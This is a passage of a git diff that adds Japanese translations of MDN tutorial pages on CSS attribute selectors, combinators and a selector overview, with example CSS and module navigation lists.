href="/ja/docs/Learn/CSS/Building_blocks/Organizing">CSS の整理</a></li> +</ol> diff --git a/files/ja/learn/css/building_blocks/selectors/attribute_selectors/index.html b/files/ja/learn/css/building_blocks/selectors/attribute_selectors/index.html new file mode 100644 index 0000000000..57feac8995 --- /dev/null +++ b/files/ja/learn/css/building_blocks/selectors/attribute_selectors/index.html @@ -0,0 +1,180 @@ +--- +title: 属性セレクター +slug: Learn/CSS/Building_blocks/Selectors/Attribute_selectors +tags: + - Attribute + - Beginner + - CSS + - Learn + - Selectors +translation_of: Learn/CSS/Building_blocks/Selectors/Attribute_selectors +--- +<p>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors", "Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements", "Learn/CSS/Building_blocks")}}</p> + +<p>HTML の学習で学んだように、要素はマークアップについてさらに詳細な情報を提供する属性を持つことがあります。 CSS では、属性セレクターを使用して、ある種類の属性のある要素を対象に指定できます。このレッスンでは、これらのとても便利なセレクターの使い方を紹介します。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>基本的なコンピューターリテラシー、<a href="/ja/Learn/Getting_started_with_the_web/Installing_basic_software">基本的なソフトウェアがインストールされている</a>こと、<a href="/ja/Learn/Getting_started_with_the_web/Dealing_with_files">ファイルの扱い</a>、 HTML の基本 (<a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML 入門</a>) および CSS に関するアイデア (<a href="/ja/docs/Learn/CSS/First_steps">CSS の第一歩</a>) に関する基本的な知識を得ている。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>属性セレクターとは何かと、その使い方を学ぶ。</td> + </tr> + </tbody> +</table> + +<h2 id="Presence_and_value_selectors" name="Presence_and_value_selectors">存在や値のセレクター</h2> + +<p>これらのセレクターにより、要素を属性が存在するか (<code>href</code> など)、または属性の値に対して様々な方法で一致させて選択できるようになります。</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">セレクター</th> + <th scope="col">例</th> + <th scope="col">説明</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>[<em>attr</em>]</code></td> + <td><code>a[title]</code></td> + <td><em>attr</em> という属性名を持つ要素と一致します。 — 値を角括弧の中に入れます。</td> + </tr> + <tr> + <td><code>[<em>attr</em>=<em>value</em>]</code></td> + <td><code>a[href="https://example.com"]</code></td> + <td><em>attr</em> という属性名で値が <em>value</em> と完全一致する要素と一致します。— 文字列は引用符の中に入れます。</td> + </tr> + <tr> + <td><code>[<em>attr</em>~=<em>value</em>]</code></td> + <td><code>p[class~="special"]</code></td> + <td> + <div title="Matches elements with an attr attribute whose value is exactly value, or contains value in its (space separated) list of values.">値が正確に <em>value </em>である <em>attr </em>の属性名を持つ要素、または1つ以上の値を含む <em>attr </em>属性を持つ要素に一致します。</div> + + <div title="Matches elements with an attr attribute whose value is exactly value, or contains value in its (space separated) list of values."></div> + + <div title="Matches elements with an attr attribute whose value is exactly value, or contains value in its (space separated) list of values.">複数の値のリストでは、個別の値が空白で区切られていることに注意してください。</div> + </td> + </tr> + <tr> + <td><code>[<em>attr</em>|=<em>value</em>]</code></td> + <td><code>div[lang|="zh"]</code></td> + <td>値が正確に <em>value </em>であるか、または <em>value </em>の直後にハイフンが続く値で始まる <em>attr</em> 属性を持つ要素にマッチします。</td> + </tr> + </tbody> +</table> + +<p>以下の例では、これらのセレクタが使用されていることがわかります。</p> + +<ul> + <li><code>li[class]</code> を使用することで、クラス属性を持つ任意のセレクタにマッチさせることができます。これは、最初のものを除いたすべてのリスト項目にマッチします。</li> + <li><code>li[class="a"]</code> は、aのクラスを持つセレクタにはマッチしますが、別のスペースで区切られたクラスを値の一部として持つaのクラスを持つセレクタにはマッチしません。2番目のリスト項目を選択します。</li> + <li><code>li[class~="a"]</code>は、 <code>a</code> のクラスを持つセレクタにマッチしますが、空白で区切られたリストの一部に <code>a</code> のクラスを含む値にもマッチします。2 番目と 3 番目のリスト項目を選択します。</li> +</ul> + +<p>{{EmbedGHLiveSample("css-examples/learn/selectors/attribute.html", '100%', 800)}}</p> + +<h2 id="Substring_matching_selectors" name="Substring_matching_selectors">部分文字列一致セレクター</h2> + +<p>これらのセレクタは、属性の値の中の部分文字列をより高度にマッチさせることができます。例えば、 <code>box-warning</code> と <code>box-error</code> のクラスがあり、文字列 "box-" で始まるものを全てマッチさせたい場合、 <code>[class^="box-"]</code> を使用して両方を選択することができます。</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">セレクター</th> + <th scope="col">例</th> + <th scope="col">説明</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>[<em>attr</em>^=<em>value</em>]</code></td> + <td><code>li[class^="box-"]</code></td> + <td>値が <code>value</code> で始まる <code>attr</code> 属性（名前は角括弧内の値）を持つ要素とマッチします。</td> + </tr> + <tr> + <td><code>[<em>attr</em>$=<em>value</em>]</code></td> + <td><code>li[class$="-box"]</code></td> + <td> + <div title="Matches elements with an attr attribute (whose name is the value in square brackets), whose value begins with value.">値が <code>value</code> で終わる <code>attr</code> 属性を持つ要素にマッチします。</div> + </td> + </tr> + <tr> + <td><code>[<em>attr</em>*=<em>value</em>]</code></td> + <td><code>li[class*="box"]</code></td> + <td>文字列内の任意の場所に <code>value</code> を含む attr 属性を持つ要素にマッチします。</td> + </tr> + </tbody> +</table> + +<p>次の例は、これらのセレクタの使用法を示しています。</p> + +<ul> + <li><code>li[class^="a"]</code> は <code>a</code> で始まる属性値にマッチするので、最初の 2 つのリスト項目にマッチします。</li> + <li><code>li[class$="a"]</code> は <code>a</code> で終わる属性値にマッチするので、最初と3番目のリスト項目にマッチします。</li> + <li><code>li[class*="a"]</code>は、<code>a</code> が文字列のどこかに現れる属性値にマッチします。</li> +</ul> + +<p>{{EmbedGHLiveSample("css-examples/learn/selectors/attribute-substring.html", '100%', 800)}}</p> + +<h2 id="Case-sensitivity" name="Case-sensitivity">大文字・小文字の区別</h2> + +<p>属性値を大文字小文字を区別せずにマッチさせたい場合は、閉じ括弧の前に値 <code>i</code> を使うことができます。このフラグは、ブラウザにASCII文字を大文字小文字を区別せずにマッチさせるように指示します。このフラグがない場合、値は文書言語の大文字小文字の区別に従ってマッチされます - HTMLの場合は大文字小文字を区別します。</p> + +<p>以下の例では、最初のセレクタは <code>a</code> で始まる値にマッチします。他の 2 つのリスト項目は大文字の A で始まるため、最初のリスト項目にのみマッチします。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/selectors/attribute-case.html", '100%', 800)}}</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>：新しい値 <code>s</code> もあります。これは、通常大文字と小文字が区別されないコンテキストで大文字と小文字を区別するマッチングを強制しますが、これはブラウザではあまりサポートされておらず、HTMLコンテキストではあまり役に立ちません。</p> +</div> + +<h2 id="Try_it_out" name="Try_it_out">やってみよう</h2> + +<p>下のライブの例では、属性セレクタを使ったCSSを追加して以下のようにします。</p> + +<ul> + <li><code>title</code> 属性を持つ <code><a></code> 要素をターゲットにして、ボーダーをピンク（<code>border-color: pink</code>）にする。</li> + <li><code><a></code> 要素の <code>href</code> 属性の値のどこかに <code>contact</code> という単語が含まれているものをターゲットにして、ボーダーをオレンジ色にする (<code>border-color: orange</code>)。</li> + <li><code>href</code> 属性の値が <code>https</code> で始まる <code><a></code> 要素を対象とし、ボーダーを緑色(<code>border-color: green</code>)にする。</li> +</ul> + +<p>{{EmbedGHLiveSample("css-examples/learn/selectors/attribute-links.html", '100%', 800)}}</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: <a href="https://github.com/mdn/css-examples/blob/master/learn/solutions.md">ここで解答を見ることができます</a>が、まずは自分で考えてみてください。</p> +</div> + +<h2 id="Next_steps" name="Next_steps">次のステップ</h2> + +<p>これで属性セレクターが完了しました。次の記事に進んで、<a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">pseudo-class and pseudo-element selectors</a>について読むことができます。</p> + +<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors", "Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements", "Learn/CSS/Building_blocks")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール内の文書</h2> + +<ol> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">カスケードと継承</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors">CSS セレクター</a> + <ul> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">要素・クラス・ID によるセレクター</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">属性によるセレクター</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">擬似クラスおよび疑似要素によるセレクター</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Combinators">結合子</a></li> + </ul> + </li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/The_box_model">ボックスモデル</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">背景と境界</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">テキスト方向の操作</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Overflowing_content">要素のはみ出し (オーバーフロー)</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Values_and_units">CSS の値と単位</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">CSS によるサイズ設定</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Images_media_form_elements">画像・メディア・フォーム要素</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Styling_tables">表のスタイリング</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Debugging_CSS">CSS のデバッグ</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Organizing">CSS の整理</a></li> +</ol> diff --git a/files/ja/learn/css/building_blocks/selectors/combinators/index.html b/files/ja/learn/css/building_blocks/selectors/combinators/index.html new file mode 100644 index 0000000000..309d54b4cc --- /dev/null +++ b/files/ja/learn/css/building_blocks/selectors/combinators/index.html @@ -0,0 +1,118 @@ +--- +title: 結合子 +slug: Learn/CSS/Building_blocks/Selectors/Combinators +tags: + - Beginner + - CSS + - Learn + - Selectors + - combinators +translation_of: Learn/CSS/Building_blocks/Selectors/Combinators +--- +<p>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements", "Learn/CSS/Building_blocks/The_box_model", "Learn/CSS/Building_blocks")}}</p> + +<p>ここで取り上げる最後のセレクターは、他のセレクターと、ドキュメント内のコンテンツの場所や場所との有用な関係を提供する方法で組み合わせるため、コンビネーターと呼ばれます。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>基本的なコンピューターリテラシー、<a href="https://developer.mozilla.org/ja/Learn/Getting_started_with_the_web/Installing_basic_software">基本的なソフトウェアがインストールされている</a>こと、<a href="https://developer.mozilla.org/ja/Learn/Getting_started_with_the_web/Dealing_with_files">ファイルの扱い</a>、HTML の基本（<a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML 入門</a>）および CSS に関するアイデア（<a href="/ja/docs/Learn/CSS/First_steps">CSS の第一歩</a>）に関する基本的な知識を得ている。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>CSS で使用できるさまざまな結合子セレクターについて学ぶ。</td> + </tr> + </tbody> +</table> + +<h2 id="子孫コンビネーター">子孫コンビネーター</h2> + +<p>子孫コンビネーター（通常は単一のスペース（ <code> </code> ）文字で表される）は、2つのセレクターを結合して、最初のセレクターと一致する祖先（親、親の親、親の親の親など）要素がある場合、2番目のセレクターと一致する要素が選択されるようにします。 子孫コンビネーターを利用するセレクターは、子孫セレクターと呼ばれます。</p> + +<pre class="brush: css notranslate">body article p +</pre> + +<p>これらのセレクターは、他のセレクターの子孫である要素を選択します。それらは一致するように直接の子供である必要はありません。</p> + +<p>以下の例では、要素の内部にある <code><p></code> 要素のみを <code>.box</code> クラスと照合しています。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/selectors/descendant.html", '100%', 500)}}</p> + +<h2 id="Child_combinator" name="Child_combinator">子コンビネーター</h2> + +<p>子コンビネーターは、大なり記号（ <code>></code> ）であり、セレクターが直接の子である要素を選択した場合にのみ一致します。階層のさらに下の子孫は一致しません。例えば、<code><article></code> 要素の直接の子である <code><p></code> 要素のみを選択するには：</p> + +<pre class="brush: css notranslate">article > p</pre> + +<p>次の例では、順序付けられていないリストがあり、その中にネストされているのは別の順序付けられていないリストです。子コンビネータを使用して、<code><ul></code> の直接の子である <code><li></code> 要素のみを選択し、上部の境界線を設定しています。</p> + +<p>これを子コンビネーターとして指定している <code>></code> を削除すると、子孫セレクターになり、すべての <code><li></code> 要素に赤い境界線が表示されます。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/selectors/child.html", '100%', 600)}}</p> + +<h2 id="Adjacent_sibling" name="Adjacent_sibling">隣接する兄弟</h2> + +<div title="The adjacent sibling selector (+) is used to select something if it is right next to another element at the same level of the hierarchy.">隣接する兄弟セレクター（ <code>+</code> ）は、階層の同じレベルにある別の要素のすぐ隣にある場合に選択します。例えば、<code><p></code> 要素の直後に来るすべての <code><img></code> 要素を選択するには：</div> + +<pre class="brush: css notranslate">p + img</pre> + +<p>一般的な使用例は、以下の私の例のように、見出しに続く段落で何かを行うことです。ここでは、<code><h1></code> に直接隣接する段落を探し、スタイルを設定しています。</p> + +<p><code><h1></code> と <code><p></code> の間に <code><h2></code> のような他の要素を挿入すると、段落がセレクタによってマッチしなくなり、要素が隣接しているときに適用される背景色と前景色が得られなくなることに気づくでしょう。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/selectors/adjacent.html", '100%', 800)}}</p> + +<h2 id="General_sibling" name="General_sibling">一般的な兄弟</h2> + +<p>要素が直接隣接していなくても、その要素の兄弟を選択したい場合は、一般的な兄弟コンビネーター( <code>~</code> )を使うことができます。<code><p></code> 要素の後のどこかに来る <code><img></code> 要素をすべて選択するには、次のようにします。</p> + +<pre class="brush: css notranslate">p ~ img</pre> + +<div title="In the example below we are selecting all <p> elements that come after the <h1>, and even though there is a <div> in the document as well, the <p> that comes after it is selected.">以下の例では、<code><h1></code> の後に続くすべての <code><p></code> 要素を選択しています。また、ドキュメントに <code><div></code> がある場合でも、その後にある <code><p></code> が選択されています。</div> + +<p>{{EmbedGHLiveSample("css-examples/learn/selectors/general.html", '100%', 600)}}</p> + +<h2 id="コンビネーターの使用">コンビネーターの使用</h2> + +<p>ドキュメントの一部を選択するために、前のレッスンで発見したセレクタをコンビネータと組み合わせることができます。 たとえば、<code><ul></code> の直接の子であるクラス "a"のリストアイテムを選択する場合、次のように使用できます。</p> + +<pre class="brush: css notranslate">ul > li[class="a"] { }</pre> + +<p>ただし、文書の特定の部分を選択する大きなセレクタのリストを作成する際には注意が必要です。マークアップの中でその要素の位置を特定してセレクタを作成しているので、CSS ルールを再利用するのは難しいでしょう。</p> + +<p>多くの場合、単純なクラスを作成し、それを問題の要素に適用する方が適切です。つまり、ドキュメント内の何かにアクセスする必要があり、HTMLにアクセスできない場合、おそらくCMSによって生成されているために、コンビネーターに関する知識は非常に役立ちます。</p> + +<h2 id="あなたのスキルをテストしてみてください!">あなたのスキルをテストしてみてください!</h2> + +<p>この記事では多くのことを取り上げましたが、最も重要な情報を覚えていますか？先に進む前に、この情報を保持しているかどうかを確認するためのテストがいくつかあります - あなたのスキルをテストするを参照してください。<a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Selectors_Tasks">Test your skills: Selectors</a> を参照してください。</p> + +<h2 id="Moving_on" name="Moving_on">先へ</h2> + +<p>これは、セレクターに関するレッスンの最後のセクションです。次に、CSSのもう1つの重要な部分である<a href="/ja/docs/Learn/CSS/Building_blocks/The_box_model">CSSボックスモデルに進み</a>ます。</p> + +<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements", "Learn/CSS/Building_blocks/The_box_model", "Learn/CSS/Building_blocks")}}</p> + +<h2 id="このモジュール">このモジュール</h2> + +<ol> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">カスケードと継承</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors">CSS セレクター</a> + <ul> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">要素・クラス・ID によるセレクター</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">属性によるセレクター</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">擬似クラスおよび疑似要素によるセレクター</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Combinators">共役</a></li> + </ul> + </li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/The_box_model">ボックスモデル</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">背景と枠線</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">テキスト方向の操作</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Overflowing_content">要素のはみ出し（オーバーフロー）</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Values_and_units">CSS の値と単位</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">CSS によるサイズ設定</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Images_media_form_elements">画像・メディア・フォーム要素</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Styling_tables">表のスタイリング</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Debugging_CSS">CSS のデバッグ</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Organizing">CSS の整理</a></li> +</ol> diff --git a/files/ja/learn/css/building_blocks/selectors/index.html b/files/ja/learn/css/building_blocks/selectors/index.html new file mode 100644 index 0000000000..4ca0ff88db --- /dev/null +++ b/files/ja/learn/css/building_blocks/selectors/index.html @@ -0,0 +1,233 @@ +--- +title: CSS セレクター +slug: Learn/CSS/Building_blocks/Selectors +tags: + - Attribute + - Beginner + - CSS + - Class + - Learn + - Pseudo + - Selectors + - id +translation_of: Learn/CSS/Building_blocks/Selectors +--- +<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Cascade_and_inheritance", "Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors", "Learn/CSS/Building_blocks")}}</div> + +<p class="summary">{{Glossary("CSS")}}では、ウェブページ上の {{glossary("HTML")}} 要素にスタイルを設定するためにセレクターが使用されます。CSS セレクターにはさまざまな種類があり、きめ細かにスタイルを設定する要素を選択できます。この記事とそのサブ記事では、さまざまなタイプについて、どのように機能するかを詳しく見ていきます。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>基本的なコンピューターリテラシー、<a href="https://developer.mozilla.org/ja/Learn/Getting_started_with_the_web/Installing_basic_software">基本的なソフトウェアがインストールされている</a>こと、<a href="https://developer.mozilla.org/ja/Learn/Getting_started_with_the_web/Dealing_with_files">ファイルの扱い</a>、HTML の基本 (<a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML 入門</a>) および CSS に関するアイデア (<a href="/ja/docs/Learn/CSS/First_steps">CSS の第一歩</a>) に関する基本的な知識を得ている。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>CSS セレクターがどのように機能するかを学ぶ。</td> + </tr> + </tbody> +</table> + +<h2 id="What_is_a_selector" name="What_is_a_selector">セレクターとは</h2> + +<p>実はもうこれまでにセレクターを見たことがあるはずです。CSS セレクターは、CSS のもっとも基本的なルールとなるものです。要素やその他を選択して CSS プロパティ値を適用する HTML 要素をブラウザーに伝えるものです。セレクターによって選択される要素は、選択対象 <em>(subject of the selector</em>) と呼ばれます。</p> + +<p><img alt="Some code with the h1 highlighted." src="https://mdn.mozillademos.org/files/16550/selector.png" style="border: 1px solid #cccccc; height: 218px; width: 471px;"></p> + +<p>これまでの記事で <code>h1</code> 要素や <code>.special</code> クラスなどのいくつかのセレクターを見てきました。それらはドキュメント内の対象をさまざまな方法で指定できるということも学びました。</p> + +<p>"CSS セレクター仕様" (<em>CSS Selectors specification</em>) で、CSS のセレクターは定義されています。CSS の他の部分と同様に、それらが機能するにはブラウザーでのサポートが必要です。よく使うセレクターは確定仕様である <a href="https://www.w3.org/TR/selectors-3/">Level 3 Selectors specification</a> で定義されているため、ブラウザーサポートも期待できます。</p> + +<h2 id="Selector_lists" name="Selector_lists">セレクター一覧</h2> + +<p>同じ CSS を使用するものが複数ある場合は、セレクターリストでまとめてルールを適用することができます。たとえば、<code>h1</code> と <code>.special</code> クラスが同じ CSS だとして、2 つの個別のルールとして記述できます。</p> + +<pre class="brush: css"><code>h1 { + color: blue; +} + +.special { + color: blue; +} </code></pre> + +<p>カンマ区切りでセレクターリストにもできます。</p> + +<pre class="brush: css"><code>h1, .special { + color: blue; +} </code></pre> + +<p>カンマの前後に空白を入れることもできますし、改行したほうがセレクターを見つけやすくなり読みやすいかもしれません。</p> + +<pre class="brush: css"><code>h1, +.special { + color: blue; +} </code></pre> + +<p>以下のライブサンプルを使って、同じ宣言を持つ 2 つのセレクターを結合してみてください。作業の前後で見た目が同じになるように留意してください。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/selectors/selector-list.html", '100%', 1000)}} </p> + +<p>この方法でセレクターをグループ化していると、無効なセレクターがある場合はルール全体が無視されます。</p> + +<p>以下の例では無効なセレクターは無視され、<code>h1</code> だけがスタイル適用されます。</p> + +<pre class="brush: css"><code>h1 { + color: blue; +} + +..special { + color: blue; +} </code></pre> + +<p><br> + ただし結合した場合は、<code>h1</code> もクラスも無効なものとしてスタイルされません。</p> + +<pre class="brush: css"><code>h1, ..special { + color: blue; +} </code></pre> + +<h2 id="Types_of_selectors" name="Types_of_selectors">セレクターの種類</h2> + +<p>セレクターにはいくつかの異なるグループがあり、どれが必要かを知ることは有用です。ここのサブ記事ではさまざまなセレクターグループを詳しく見ていきます。</p> + +<h3 id="Type_class_and_ID_selectors" name="Type_class_and_ID_selectors">要素・クラス・ID によるセレクター</h3> + +<p>このグループには <code><h1></code> のような HTML 要素を対象とするセレクターを含みます。</p> + +<pre class="brush: css">h1 { }</pre> + +<p>同様にクラスを対象としたセレクターも含みます。</p> + +<pre class="brush: css">.box { }</pre> + +<p>あとは ID です。</p> + +<pre class="brush: css">#unique { }</pre> + +<h3 id="Attribute_selectors" name="Attribute_selectors">属性によるセレクター</h3> + +<p>このセレクターグループは要素の属性によるさまざまな選択方法を提供します。</p> + +<pre class="brush: css">a[title] { }</pre> + +<p>特定の値を持つ属性で選択することもできます。</p> + +<pre class="brush: css">a[href="https://example.com"] { }</pre> + +<h3 id="Pseudo-classes_and_pseudo-elements" name="Pseudo-classes_and_pseudo-elements">擬似クラスおよび疑似要素によるセレクター</h3> + +<p>このセレクターグループは、要素の特定の状態をスタイルする疑似クラスを含みます。たとえば、<code>:hover</code> 擬似クラスはマウスポインターがホバーしているときにのみ要素を選択します。</p> + +<pre class="brush: css">a:hover { }</pre> + +<p>また要素自体ではなく要素の特定の部分を選択する擬似要素もあります。たとえば、<code>::first-line</code> は要素 (以下では <code><p></code>) 内の最初の行をまるで <code><span></code> でラップしてスタイルしたかのように動作します。</p> + +<pre class="brush: css">p::first-line { }</pre> + +<h3 id="Combinators" name="Combinators">結合子</h3> + +<p>最後のセレクターグループは、セレクターを組み合わせて文書内のターゲット要素を選びます。たとえば、以下では子コンビネータ (<code>></code>) によって <code><article></code> 要素の直接の子である段落を選択します。</p> + +<pre class="brush: css">article > p { }</pre> + +<h2 id="Next_steps" name="Next_steps">次のステップ</h2> + +<p>この記事や MDN にあるさまざまなセレクターについては、下の方にある表を参照してください。または、<a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">要素・クラス・ID によるセレクター</a>から見ていくこともできます。</p> + +<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Cascade_and_inheritance", "Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors", "Learn/CSS/Building_blocks")}}</p> + +<h2 id="Reference_table_of_selectors" name="Reference_table_of_selectors">セレクターのリファレンス表</h2> + +<p>以下の表で使用可能な各セレクターの概要と、それぞれの使い方を示すガイド内ページへのリンクを紹介します。そこには各セレクターのブラウザーサポートを確認できる MDN ページへのリンクもあります。セレクターを検索したり一般的に CSS を体験するときに、ここに戻ってきて参照することができます。</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">セレクター</th> + <th scope="col">例</th> + <th scope="col">CSS チュートリアル</th> + </tr> + </thead> + <tbody> + <tr> + <td><a href="/ja/docs/Web/CSS/Type_selectors">要素セレクター</a></td> + <td><code>h1 { }</code></td> + <td><a href="/ja/docs/user:chrisdavidmills/CSS_Learn/CSS_Selectors/Type_Class_and_ID_Selectors#Type_selectors">要素セレクター</a></td> + </tr> + <tr> + <td><a href="/ja/docs/Web/CSS/Universal_selectors">全称セレクター</a></td> + <td><code>* { }</code></td> + <td><a href="/ja/docs/user:chrisdavidmills/CSS_Learn/CSS_Selectors/Type_Class_and_ID_Selectors#The_universal_selector">全称セレクター</a></td> + </tr> + <tr> + <td><a href="/ja/docs/Web/CSS/Class_selectors">クラスセレクター</a></td> + <td><code>.box { }</code></td> + <td><a href="/ja/docs/user:chrisdavidmills/CSS_Learn/CSS_Selectors/Type_Class_and_ID_Selectors#Class_selectors">クラスセレクター</a></td> + </tr> + <tr> + <td><a href="/ja/docs/Web/CSS/ID_selectors">ID セレクター</a></td> + <td><code>#unique { }</code></td> + <td><a href="/ja/docs/user:chrisdavidmills/CSS_Learn/CSS_Selectors/Type_Class_and_ID_Selectors#ID_Selectors">ID セレクター</a></td> + </tr> + <tr> + <td><a href="/ja/docs/Web/CSS/Attribute_selectors">属性セレクター</a></td> + <td><code>a[title] { }</code></td> + <td><a href="/ja/docs/User:chrisdavidmills/CSS_Learn/CSS_Selectors/Attribute_selectors">属性によるセレクター</a></td> + </tr> + <tr> + <td><a href="/ja/docs/Web/CSS/Pseudo-classes">擬似クラスセレクター</a></td> + <td><code>p:first-child { }</code></td> + <td><a href="/ja/docs/User:chrisdavidmills/CSS_Learn/CSS_Selectors/Pseuso-classes_and_Pseudo-elements#What_is_a_pseudo-class">疑似クラス</a></td> + </tr> + <tr> + <td><a href="/ja/docs/Web/CSS/Pseudo-elements">疑似要素セレクター</a></td> + <td><code>p::first-line { }</code></td> + <td><a href="/ja/docs/User:chrisdavidmills/CSS_Learn/CSS_Selectors/Pseuso-classes_and_Pseudo-elements#What_is_a_pseudo-element">疑似要素</a></td> + </tr> + <tr> + <td><a href="/ja/docs/Web/CSS/Descendant_combinator">子孫結合子</a></td> + <td><code>article p</code></td> + <td><a href="/ja/docs/User:chrisdavidmills/CSS_Learn/CSS_Selectors/Combinators#Descendant_Selector">子孫結合子</a></td> + </tr> + <tr> + <td><a href="/ja/docs/Web/CSS/Child_combinator">子結合子</a></td> + <td><code>article > p</code></td> + <td><a href="/ja/docs/User:chrisdavidmills/CSS_Learn/CSS_Selectors/Combinators#Child_combinator">子結合子</a></td> + </tr> + <tr> + <td><a href="/ja/docs/Web/CSS/Adjacent_sibling_combinator">隣接兄弟結合子</a></td> + <td><code>h1 + p</code></td> + <td><a href="/ja/docs/User:chrisdavidmills/CSS_Learn/CSS_Selectors/Combinators#Adjacent_sibling">隣接兄弟</a></td> + </tr> + <tr> + <td><a href="/ja/docs/Web/CSS/General_sibling_combinator">一般兄弟結合子</a></td> + <td><code>h1 ~ p</code></td> + <td><a href="/ja/docs/User:chrisdavidmills/CSS_Learn/CSS_Selectors/Combinators#General_sibling">一般兄弟</a></td> + </tr> + </tbody> +</table> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<ol> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">カスケードと継承</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors">CSS セレクター</a> + <ul> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">要素・クラス・ID によるセレクター</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">属性によるセレクター</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">擬似クラスおよび疑似要素によるセレクター</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Combinators">結合子</a></li> + </ul> + </li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/The_box_model">ボックスモデル</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">背景と枠線</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">テキスト方向の操作</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Overflowing_content">要素のはみ出し (オーバーフロー)</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Values_and_units">CSS の値と単位</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">CSS によるサイズ設定</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Images_media_form_elements">画像・メディア・フォーム要素</a></li> + 